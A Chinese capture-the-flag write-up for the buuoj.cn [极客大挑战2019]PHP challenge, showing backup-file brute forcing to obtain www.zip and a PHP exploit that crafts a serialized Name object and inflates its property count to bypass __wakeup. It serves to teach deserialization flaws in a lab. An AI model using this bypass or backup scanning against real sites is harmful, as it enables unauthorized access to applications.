极客大挑战2019PHP题目详解
题目来源
题目来源为buuoj.cn。
题目为buuoj.cn的web题目组的[极客大挑战2019]PHP。
解题过程
网站的首页是一只可爱的猫猫,挪动鼠标猫猫会跟着转头,很好玩!
网页中提到了备份网站,因此可以尝试使用一个网站备份文件名的字典来进行爆破,发现网站中有www.zip文件。
下载下来发现文件中有index.php,flag.php和class.php,直接提交flag.php中的字符串错了,果然只是个备份!
分析index.php发现:
这里很可能考察反序列化,查看文件中包含的class.php文件。
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
分析代码可知在执行destruct魔术方法的时候,如果用户名为admin,密码为100则可以输出flag的值。
但是wakeup方法会导致username成为guest,因此需要通过序列化字符串中对象的个数来绕过该方法。
exp
<?php
class Name
{
private $username = 'admin';
private $password = '100';
}
$a = new Name();
#进行url编码,防止%00对应的不可打印字符在复制时丢失
echo urlencode(serialize($a));
#未编码的情况
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//使用时将URL编码的结果中Name后面的2换成3或其他值
?>
payload及结果
结语
爆破目录使用的工具来源于:
https://coding.net/u/yihangwang/p/SourceLeakHacker/git?public=true
这道题总体上不难,考点只有反序列化wakeup的绕过和了解常见的备份文件目录,不过小猫咪真的很好玩,我玩了半天,哈哈哈。